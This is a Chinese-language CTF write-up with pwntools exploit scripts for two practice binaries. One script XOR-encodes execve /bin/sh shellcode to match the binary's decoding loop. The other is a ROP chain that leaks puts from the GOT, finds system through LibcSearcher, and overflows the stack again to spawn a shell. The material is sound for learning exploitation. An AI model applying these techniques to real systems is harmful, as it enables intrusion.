babysc
从汇编看,逻辑就是read读入一串数据到buf,然后一个循环函数,函数控制变量i加1和buf数据进行异或,然后将异或后的数据给rdx执行,所以,直接注入shellcode,shellcode需要先异或一次再注入。
exp如下:
from pwn import *
cn = process('./babysc')
offset="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
pay=""
#for循环用来异或
for i in range(len(offset)):
pay+=chr(ord(offset[i])^(i+1))#ord()函数主要用来返回对应字符的ascii码
print pay
cn.sendline(pay)
cn.interactive()
handsomeariis
保护,开启了地址随机化和堆栈不可执行
题目代码
fgets明显栈溢出,思路是构造rop链:先跳转到puts函数,输出puts的got地址,跳到main,并通过libseacher泄露出system和bin,然后再次溢出执行system。
先查找pop rdi;ret地址,接收参数。
exp
from pwn import *
from LibcSearcher import LibcSearcher
p = process("./handsomeariis")
elf = ELF("./handsomeariis")
pop_rdi_addr= 0x400873
payload = "Aris so handsoooome!\x00"#这一句等于s2,用来控制函数执行逻辑
payload = payload.ljust(0x20 , "a") + "a" * 8
#ljust() 返回一个原字符串左对齐,并用a填充至指定长度的新字符串。
#如果指定的长度小于原字符串的长度则返回原字符串。
payload += p64(pop_rdi_addr) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x400735)
#这里解释一下,跳转到pop rdi,将elf.got["puts"]作为参数传个rdi寄存器,调用puts函数,进而#泄露出puts的真实地址,然后返回main函数。
p.sendlineafter("Repeat me!" , payload)
p.recvuntil("Great! Power upupuppp!\n")
puts_addr = u64( p.recv(6).ljust(8, "\x00"))
#实际的操作系统中,一个地址的最高位的两个字节是00,
#而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的#6字节值,然后通过ljust函数把最高位的两字节填充成00。
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
str_bin_sh = libc_base + libc.dump("str_bin_sh")
payload = "Aris so handsoooome!\x00"
payload = payload.ljust(0x20 , "a") + "a" * 8
payload += p64(pop_rdi_addr) + p64(str_bin_sh) + p64(system)
p.sendlineafter("Repeat me!" , payload)
p.interactive()